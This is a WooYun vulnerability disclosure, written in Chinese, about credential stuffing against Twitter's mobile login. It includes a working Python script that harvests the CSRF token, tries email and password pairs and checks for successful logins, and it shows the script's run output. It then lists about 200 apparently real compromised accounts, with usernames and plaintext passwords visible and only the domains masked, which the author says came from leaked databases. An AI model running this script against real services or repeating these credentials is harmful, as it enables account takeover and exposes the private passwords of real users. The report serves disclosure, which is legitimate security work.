当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0190360

漏洞标题:Twitter推特登陆接口可撞库

相关厂商:Twitter

漏洞作者: 猪猪侠

提交时间:2016-03-29 15:30

修复时间:2016-05-16 17:30

公开时间:2016-05-16 17:30

漏洞类型:账户体系控制不严

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-29: 细节已通知厂商并且等待厂商处理中
2016-04-01: 厂商已经确认,细节仅向厂商公开
2016-04-11: 细节向核心白帽子及相关领域专家公开
2016-04-21: 细节向普通白帽子公开
2016-05-01: 细节向实习白帽子公开
2016-05-16: 细节向公众公开

简要描述:

Uber优步撞库攻击,富有中国特色的业务缺陷
http://www.wooyun.org/bugs/wooyun-2010-0188046
该报告描述了twitter在处理用户登录过程中,未考虑属于同一个地区的单个请求IP ( 貌似把海外地区的全部城市都划分为一个国家地区了,比如香港),重复尝试登录多个不同用户的撞库场景(如果地区和历史不同,登录成功后 ,会提示一个可疑活动侵害提示)。
一个邮箱账号,可尝试使用5个已知密码,不然IP会被标示风险,如果使用不同的邮箱账号,IP就能持续使用尝试撞库。

详细说明:

登录接口
https://**.**.**.**/login
服务器根据用户User-Agent中的浏览器版本和语言,自适应的推送相对应的后台接口
当UA设置为Nokie N9,IP所在地香港,服务端对应的接口内容如下

user-agent : Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13
accept-language : zh-CN,zh;q=0.8,en;q=0.6


1.jpg


### 登录验证页面源码
```

<div id="main_content">
<div class="signup-body">
<form action="/sessions" method="post" class="signin-form">
<span class="m2-auth-token">
<input name="authenticity_token" type="hidden" value="6a56481e83a480a80eaa5fbddd7abb48"/>
</span>
<input type="hidden" name="remember_me" value="1"/>
<input type="hidden" name="wfa" value="1"/>
<input type="hidden" name="redirect_after_login" value="/home?login=1459222974246" />
<fieldset class="inputs">
<div class="signup-container">
<div class="signup-field">
<input autocapitalize="off" autocorrect="off" class="signup-input"
id="session[username_or_email]" name="session[username_or_email]"
placeholder="電話、電子郵件或使用者名稱" type="text" value="">
</div>
</div>
<div class="signup-container">
<div class="signup-field">
<input class="signup-input" id="session[password]" name="session[password]"
placeholder="密碼" type="password" value="">
</div>
</div>
</fieldset>
<div class="signup-button">
<button class="signup button" id="signupbutton" type="submit">登入</button>
</div>
</form>
</div>


### 登录流程
1. 访问最精简的移动端登录页面
https://**.**.**.**/login
2. 获取登录页面内隐藏的authenticity_token
3. 拼接登录表单(FORM),尝试撞库
4. 根据返回结果页面,判断是否登录成功
5. 如果服务器的返回结果为Status Code : 302
https://**.**.**.**/login/error?username_or_email=email@**.**.**.**
6. 判断是否包含如下内容 : 你輸入的電子郵件和密碼與我們的記錄不符

2.jpg

漏洞证明:

Starting check ring05h@**.**.**.** : 123456
Starting check ring07h@**.**.**.** : 123456
Starting check ring08h@**.**.**.** : 123456
Starting check ring04h@**.**.**.** : truepassword
ring04h@**.**.**.** truepassword login success.
call destroy()
Starting check ring09h@**.**.**.** : 123456
Starting check ring10h@**.**.**.** : 123456
Starting check ring11h@**.**.**.** : 123456
Starting check ring12h@**.**.**.** : 123456
Starting check ring13h@**.**.**.** : 123456
Starting check ring14h@**.**.**.** : 123456
Starting check ring15h@**.**.**.** : 123456
Starting check ring16h@**.**.**.** : 123456
Starting check ring17h@**.**.**.** : 123456
Starting check ring18h@**.**.**.** : 123456
[Finished in 58.2s]


POC : http://**.**.**.**/src/twitter.py

#!/usr/bin/env python
# encoding: utf-8
# email: ringzero@**.**.**.**
import json
import re
import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
requests = requests.Session()
headers = {
'User-Agent': 'Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13',
'accept-language': 'zh-CN,zh;q=0.8,en;q=0.6',
'origin': 'https://**.**.**.**',
'pragma': 'no-cache',
'referer': 'https://**.**.**.**/login',
'upgrade-insecure-requests': '1',
}
class Twitter_Login(object):
"""docstring for Twitter_Login"""
def __init__(self):
super(Twitter_Login, self).__init__()
self.website = 'https://**.**.**.**'

def parser_token(self, content):
auth_token = re.search('authenticity_token" type="hidden" value="(.*?)"/>', content)
return auth_token.group(1) if auth_token else None
def init_token(self):
url = '{0}/login'.format(self.website)
content = requests.get(url, headers=headers, allow_redirects=True).content
return content
def parser_success(self, email, content):
if email in content or '记录不匹配' in content:
return False
else:
return True
def session(self, token, email, password):
payload = {
'authenticity_token' : token,
'session[username_or_email]' : email,
'session[password]': password,
'remember_me' : 1,
'wfa' : 1,
'commit' :'登入',
}
url = '{0}/sessions'.format(self.website)
result = requests.post(url,
headers=headers,
data=payload,
allow_redirects=True)
return result
def run(self):
session_content = self.init_token()
userdict = [
'ring05h@**.**.**.**:123456',
'ring07h@**.**.**.**:123456',
'ring08h@**.**.**.**:123456',
'ring04h@**.**.**.**:truepassword',
'ring09h@**.**.**.**:123456',
'ring10h@**.**.**.**:123456',
'ring11h@**.**.**.**:123456',
'ring12h@**.**.**.**:123456',
'ring13h@**.**.**.**:123456',
'ring14h@**.**.**.**:123456',
'ring15h@**.**.**.**:123456',
'ring16h@**.**.**.**:123456',
'ring17h@**.**.**.**:123456',
'ring18h@**.**.**.**:123456',]
for combo in userdict:
token = self.parser_token(session_content)
if token is not None:
email, password = combo.split(':')
print 'Starting check {0} : {1}'.format(email, password)
session_content = self.session(token, email, password).content
if self.parser_success(email, session_content):
print email, password, 'login success.'
self.destroy()
time.sleep(2)
session_content = self.init_token()
time.sleep(3)
def destroy(self):
print 'call destroy()'
url = '{0}/account'.format(self.website)
content = requests.get(url, headers=headers, allow_redirects=True).content
token = self.parser_token(content)
if token is not None:
# destroy logout
url = '{0}/session/destroy'.format(self.website)
payload = {
'authenticity_token': token,
'commit': '登出'
}
result = requests.post(url,
headers=headers,
data=payload,
allow_redirects=True)

twitter = Twitter_Login()
twitter.run()


通过数据库匹配香港地区泄露的邮箱+密码,尝试登陆,成功了上万个账号,列出200个证明

notthing101@**.**.**.**:93013676://**.**.**.**/:1:16:2
staring_789@**.**.**.**:963258://**.**.**.**/:7:0:1
ho165948@**.**.**.**:165948://**.**.**.**/:0:1:0
jasonsheung@**.**.**.**:jason488://**.**.**.**/:0:0:1
[email protected]:19901111://**.**.**.**/:5:22:5
lovecelest@**.**.**.**:331080://**.**.**.**/:0:22:1
[email protected]:19940223://**.**.**.**/:0:0:0
marcotsm@**.**.**.**:572198://**.**.**.**/:0:0:1
siu_sa_al_mi@**.**.**.**:82468246://**.**.**.**/:0:0:0
qkling@**.**.**.**:111ling://**.**.**.**/:1:3:1
maggie_yklorn@**.**.**.**:630123://**.**.**.**/:4:20:0
yman9876@**.**.**.**:27786999://**.**.**.**/:5:1:0
ivan0984@**.**.**.**:16101610://**.**.**.**/:0:8:4
karen3e40@**.**.**.**:011169://**.**.**.**/:8:18:1
thkwok818@**.**.**.**:434200://**.**.**.**/:1:0:5
ahhoi2007@**.**.**.**:19770906://**.**.**.**/:1:15:3
pwan1310@**.**.**.**:336699pw://**.**.**.**/:0:3:0
jameslee@**.**.**.**:selfcontrol://**.**.**.**/:5:1:0
cloud_2525@**.**.**.**:1484468://**.**.**.**/:0:9:0
hollyinx_gazerock@**.**.**.**:yusuke://**.**.**.**/:4:121:19
hw317hhh@**.**.**.**:27170271://**.**.**.**/:6:0:0
apple_vic@**.**.**.**:yanple91://**.**.**.**/:17:25:9
choas666@**.**.**.**:1234567890://**.**.**.**/:2:0:0
b1233211234567@**.**.**.**:08020802://**.**.**.**/:0:1:0
hoitung112@**.**.**.**:911102://**.**.**.**/:2:11:3
pm1055_siudin@**.**.**.**:24266477://**.**.**.**/:0:0:1
yanyanwinter@**.**.**.**:120012://**.**.**.**/:14:11:8
[email protected]:27787269://**.**.**.**/:8:66:0
singson1986@**.**.**.**:719419://**.**.**.**/:0:1:0
cheukngai918@**.**.**.**:pls32013://**.**.**.**/:35:0:0
krosslam@**.**.**.**:woodstock://**.**.**.**/:0:1:1
yssum614@**.**.**.**:300312://**.**.**.**/:13:8:1
johnon7@**.**.**.**:Z960624://**.**.**.**/:19:43:6
cyy-3-@**.**.**.**:246810://**.**.**.**/:1:3:0
chi731@**.**.**.**:3782428://**.**.**.**/:0:0:0
[email protected]:03150315://**.**.**.**/:10:2:1
leifuson@**.**.**.**:999999://**.**.**.**/:0:0:0
coffee2653@**.**.**.**:26538767://**.**.**.**/:65:1:1
[email protected]:229831://**.**.**.**/:0:4:5
filetofish85@**.**.**.**:303160://**.**.**.**/:299:0:0
772593150@**.**.**.**:h53545354://**.**.**.**/:0:0:0
williamhui1998@**.**.**.**:ilcclm://**.**.**.**/:1:18:3
investwhat@**.**.**.**:898110://**.**.**.**/:2:3:0
muingotung_kaitung@**.**.**.**:65046244://**.**.**.**/:0:34:1
tou1234567@**.**.**.**:132567890://**.**.**.**/:4:15:7
yoursphoebe@**.**.**.**:7926058://**.**.**.**/:0:7:1
wuyukfaat1993@**.**.**.**:y3184623://**.**.**.**/:0:2:1
darli91912@**.**.**.**:19921109://**.**.**.**/:0:17:4
spa_turbo@**.**.**.**:iloveu://**.**.**.**/:3:2:1
gt83b64@**.**.**.**.tw:gilu6738://**.**.**.**/:Tweets:Following:Followers
smartdr.ken@**.**.**.**:21234086://**.**.**.**/:7:3:0
shadowkisze@**.**.**.**:170858://**.**.**.**/:17:48:15
viviankaki@**.**.**.**:130394://**.**.**.**/:0:15:0
climbc50579@**.**.**.**:19950925://**.**.**.**/:42:59:17
csc1128@**.**.**.**:raymond1://**.**.**.**/:1:5:4
mayuen@**.**.**.**:950610://**.**.**.**/:5:21:1
andyweang@**.**.**.**.tw:123377134://**.**.**.**/:0:0:0
sumlok@**.**.**.**:26630004://**.**.**.**/:0:0:2
ruby_hui999@**.**.**.**:168888://**.**.**.**/:0:2:1
chun_9314@**.**.**.**:26723685://**.**.**.**/:24:2:1
laisamuelki@**.**.**.**:8211123://**.**.**.**/:60:34:10
falcocreate@**.**.**.**:417417://**.**.**.**/:1:0:0
nineboys2002@**.**.**.**:935350://**.**.**.**/:3:1:0
hang_drumz@**.**.**.**:ilovegod://**.**.**.**/:39:0:0
bbeennsshhii@**.**.**.**:candychan://**.**.**.**/:1:4:3
ting_0830@**.**.**.**:35257387://**.**.**.**/:117:26:0
llw.gary@**.**.**.**:z1774329://**.**.**.**/:Tweets:Following:Followers
kimmy_0208@**.**.**.**:26640684://**.**.**.**/:0:0:0
justtosayhi@**.**.**.**:yimlay://**.**.**.**/:Tweets:Following:Followers
lausuihang@**.**.**.**:asdfghjkl://**.**.**.**/:0:3:0
carol_kwan116@**.**.**.**:1161988://**.**.**.**/:0:0:0
samuelfung50@**.**.**.**:007973://**.**.**.**/:2:2:5
kenneth6562@**.**.**.**:282958://**.**.**.**/:2:0:0
yinchunghui@**.**.**.**:19860526://**.**.**.**/:1:6:3
seventh_fleet1943@**.**.**.**:iodine://**.**.**.**/:1:1:0
rachelpig2005@**.**.**.**:pigpig://**.**.**.**/:4:2:0
yeungws2@**.**.**.**:jennifer1://**.**.**.**/:0:0:0
crazyrecall@**.**.**.**.tw:8632404://**.**.**.**/:61:324:2
sumsum678@**.**.**.**:678678://**.**.**.**/:0:1:0
FLorence_1120@**.**.**.**:3516197://**.**.**.**/:22:6:3
ccc24hk@**.**.**.**:15771577://**.**.**.**/:0:19:3
billy_paklam@**.**.**.**:beckham7://**.**.**.**/:2:0:1
applekiki628@**.**.**.**:buddhist://**.**.**.**/:1:1:0
tiger19951219@**.**.**.**:lollipop520://**.**.**.**/:3:24:6
imaryo@**.**.**.**:316500://**.**.**.**/:4:10:1
mandy2102@**.**.**.**:manman21://**.**.**.**/:19:14:4
yychau0212@**.**.**.**:601643://**.**.**.**/:0:20:2
sheging@**.**.**.**:c00632://**.**.**.**/:0:0:3
jackkwokho@**.**.**.**:11683611://**.**.**.**/:419:71:19
wlcgz0582@**.**.**.**:67600350://**.**.**.**/:5:69:7
amiwawa9032003@**.**.**.**:beyonce://**.**.**.**/:0:20:4
loconnie@**.**.**.**:777999://**.**.**.**/:32:1:0
nicoyau1104@**.**.**.**:19911104://**.**.**.**/:6:1:0
yau1101@**.**.**.**:771101://**.**.**.**/:3546:2:0
victrix10nike@**.**.**.**:870715://**.**.**.**/:337:6:2
gracetwk@**.**.**.**:8299885://**.**.**.**/:0:0:4
[email protected]:367409://**.**.**.**/:1:1:0
gemmalau2@**.**.**.**:1996515://**.**.**.**/:11:32:2
jeffreyau1995@**.**.**.**:bb123456://**.**.**.**/:25:7:3
terter715@**.**.**.**:lovingu://**.**.**.**/:3:6:13
diamonmichelle@**.**.**.**:19940914://**.**.**.**/:17:162:24
hoganle1314@**.**.**.**:00000333://**.**.**.**/:1:1:2
ching-125@**.**.**.**:lillian://**.**.**.**/:0:8:4
tingtingac@**.**.**.**:titiac://**.**.**.**/:1:0:0
rachels0810@**.**.**.**:810211://**.**.**.**/:0:0:0
winwyi_tang@**.**.**.**:230456://**.**.**.**/:28:24:10
middle817@**.**.**.**:23881271://**.**.**.**/:0:42:2
erichin1992@**.**.**.**:q132456://**.**.**.**/:53:3:0
kei.322@**.**.**.**:03220617://**.**.**.**/:39:7:4
zerovack@**.**.**.**:7x4s9tev://**.**.**.**/:1:2:1
ray1234_2000@**.**.**.**:198212://**.**.**.**/:0:0:0
ellischan22001@**.**.**.**:26760311://**.**.**.**/:1:0:0
akindosky@**.**.**.**:7291314://**.**.**.**/:0:0:0
chanj910@**.**.**.**:091083://**.**.**.**/:0:0:0
lxc5089@**.**.**.**:21820099://**.**.**.**/:7:0:1
kyo2047@**.**.**.**:a84371c1://**.**.**.**/:266:17:2
smmen3@**.**.**.**:487968://**.**.**.**/:0:6:0
kuuipokao@**.**.**.**:129129://**.**.**.**/:1:22:0
b278755006@**.**.**.**:2006712522://**.**.**.**/:6:12:0
yancheung2141@**.**.**.**:2141785://**.**.**.**/:0:1:0
badboy_baby1314@**.**.**.**:babyyan1314://**.**.**.**/:0:0:0
konicacheung@**.**.**.**:casillas://**.**.**.**/session/new:2:20:6
jlwhvh@**.**.**.**:vicky00://**.**.**.**/:0:0:0
chisanmok@**.**.**.**:mok123://**.**.**.**/:164:2:0
mini_et_kiwi@**.**.**.**:ling00://**.**.**.**/:10:20:1
nicoleytyan@**.**.**.**:19921118a://**.**.**.**/:4:5:0
goalcaught@**.**.**.**:19790417://**.**.**.**/:0:0:0
alex_leung2412@**.**.**.**:122491://**.**.**.**/:33:13:0
wfw7459@**.**.**.**:2988556://**.**.**.**/:0:20:1
aplong.long@**.**.**.**:550718://**.**.**.**/:2:1:0
cokes1994128@**.**.**.**:245125://**.**.**.**/:5:1:0
vsmos@**.**.**.**:v720v720://**.**.**.**/:85:17:0
kit90920@**.**.**.**:19900920://**.**.**.**/:59:3:0
christychan0807@**.**.**.**:124818://**.**.**.**/:3:2:4
ryan_tsui_wy@**.**.**.**:112693://**.**.**.**/:0:2:9
raymondkwok9595@**.**.**.**:19819595://**.**.**.**/:0:1:1
barryhung2000@**.**.**.**:120371://**.**.**.**/:35:7:5
marlui22@**.**.**.**:2625088://**.**.**.**/:118:62:7
ellepig114@**.**.**.**:iloveyou4ever://**.**.**.**/:183:28:15
hcbf22142@**.**.**.**:19833891://**.**.**.**/:0:19:0
leewai01@**.**.**.**:54995499://**.**.**.**/:0:4:1
yiufai1988@**.**.**.**:19051905://**.**.**.**/:1:0:0
kelvintofai@**.**.**.**:11221215://**.**.**.**/:0:2:0
yuen_tsang5f@**.**.**.**:081586://**.**.**.**/:0:9:0
tw.test@**.**.**.**:mfokrythu://**.**.**.**/:0:3:0
kaphwan0@**.**.**.**:12241224://**.**.**.**/:1:0:0
ringo06161@**.**.**.**:ringo1994://**.**.**.**/:20:7:0
tszching929@**.**.**.**:583370://**.**.**.**/:36:45:5
kcwcyber@**.**.**.**:888999://**.**.**.**/:0:4:2
msble@**.**.**.**:717946://**.**.**.**/:0:1:1
wong_03032000@**.**.**.**:135790://**.**.**.**/:22:1:0
julian01017@**.**.**.**:polaroid://**.**.**.**/:16:22:7
gk6899@**.**.**.**:090984://**.**.**.**/:0:17:3
ma0319368202@**.**.**.**:ma0319://**.**.**.**/:0:0:7
hiuting724@**.**.**.**:24785455://**.**.**.**/:120:107:10
chenyichenn@**.**.**.**:123456://**.**.**.**/:2:3:0
keik1107@**.**.**.**:046106://**.**.**.**/:4:0:0
yeung_wai58462@**.**.**.**:108695://**.**.**.**/:36:6:0
dovejj_512@**.**.**.**:59876078://**.**.**.**/:0:1:0
to1118@**.**.**.**:webpass://**.**.**.**/:1:6:0
ideepvluk@**.**.**.**:768439://**.**.**.**/:0:0:0
chungtt19852002@**.**.**.**:19851016://**.**.**.**/:435:1628:13
wai1021@**.**.**.**:hammett1021://**.**.**.**/:5:79:12
jasmine0207@**.**.**.**:12270207://**.**.**.**/:92:24:23
wfh0805@**.**.**.**:111111://**.**.**.**/:15:0:1
jerryashley1982@**.**.**.**:041182://**.**.**.**/:2:1:7
davis.tcl@**.**.**.**:14021981://**.**.**.**/:1:13:1
tsoi_lee@**.**.**.**:fuckoff1://**.**.**.**/:0:0:1
jameschangwk@**.**.**.**.cn:fuckyou000://**.**.**.**/:0:1:0
yyy221@**.**.**.**:123yyy://**.**.**.**/:0:20:2
blackdog91428@**.**.**.**:7833643://**.**.**.**/:456:1362:10
hwpoonjackie2007@**.**.**.**:007008009://**.**.**.**/:13:0:0
sharycat0428@**.**.**.**:510428://**.**.**.**/:0:35:1
ohoj@**.**.**.**:102058://**.**.**.**/:0:0:0
amyyyyy402@**.**.**.**:chemistry://**.**.**.**/:18:2:2
m5864980@**.**.**.**.tw:a200486120://**.**.**.**/:1:387:1
siuwaikitricky@**.**.**.**:6305645://**.**.**.**/:0:1:0
hahaha3333@**.**.**.**:choitszngong://**.**.**.**/:110:9:0
sing_926@**.**.**.**:singsing://**.**.**.**/:10:1:0
hkgavin999@**.**.**.**:92445823://**.**.**.**/:4:0:0
hallelujahbaby@**.**.**.**:199072://**.**.**.**/:0:4:0
wilsom2009@**.**.**.**:01071990://**.**.**.**/:0:1:1
[email protected]:22648792://**.**.**.**/:61:17:3
luck_box2006@**.**.**.**:874605://**.**.**.**/:0:0:0
afdkwok@**.**.**.**:AKwok11://**.**.**.**/:12:15:4
lowbsonson@**.**.**.**:92576291://**.**.**.**/:6:3:1
frankietang1991@**.**.**.**:fghtyabn://**.**.**.**/:3:29:3
assbsb258258@**.**.**.**:20020000://**.**.**.**/:1:1:0
hingyuen1188@**.**.**.**:4148412://**.**.**.**/:1:10:0
cst1124@**.**.**.**:p0515977://**.**.**.**/:11:2:0
kanix829@**.**.**.**:19880829://**.**.**.**/:0:21:0
panpeter@**.**.**.**:332089://**.**.**.**/:0:1:0
h810809@**.**.**.**:et2212://**.**.**.**/:0:3:0
elvis_1017@**.**.**.**:19901219://**.**.**.**/:0:0:0
1313tk@**.**.**.**:a66886688://**.**.**.**/:0:2:3
billy999111@**.**.**.**:24515156://**.**.**.**/:15:8:7
coco926hk@**.**.**.**:0115061://**.**.**.**/:1:22:3
James01102@**.**.**.**:wing1c20://**.**.**.**/:2:13:1
wayne618825@**.**.**.**:618825://**.**.**.**/:1:8:3
nicole.liew@**.**.**.**:145264://**.**.**.**/:1:0:0
gladyschow95@**.**.**.**:Y4677364://**.**.**.**/:0:1:2
lamz0725@**.**.**.**:sinnung://**.**.**.**/:1:0:6

修复方案:

# 加入图片验证码,而不是使用简单的csrf_token
# 复杂的业务场景设计权衡

版权声明:转载请注明来源 猪猪侠@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2016-04-01 17:29

厂商回复:

CNVD未直接复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无